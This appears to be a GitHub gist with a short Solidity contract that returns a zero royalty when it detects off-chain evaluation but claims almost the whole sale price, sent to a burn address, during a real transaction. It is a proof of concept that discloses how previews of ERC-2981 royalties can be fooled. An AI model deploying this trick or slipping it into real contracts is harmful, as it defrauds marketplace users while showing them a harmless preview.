Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
What if a contract returns different data when viewed off-chain vs during a transaction?
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
contract AdversarialRoyalties {
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
return interfaceID == _INTERFACE_ID_ERC2981;
}
function isEvaluatedOffchain() public view returns (bool) {
return tx.origin == address(0)
|| tx.gasprice <= 1
|| gasleft() > 30_000_000;
}
function royaltyInfo(
uint256 /* _tokenId */,
uint256 _salePrice
) public view returns (
address receiver,
uint256 royaltyAmount
) {
receiver = address(0xdEaD);
royaltyAmount = isEvaluatedOffchain()
? 0 // looks like we're in getRoyaltyView(), so play nice
: _salePrice - 1; // during an actual transaction, be nasty
}
}
@karmacoma-eth
Copy link
Author

karmacoma-eth commented Feb 15, 2022

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment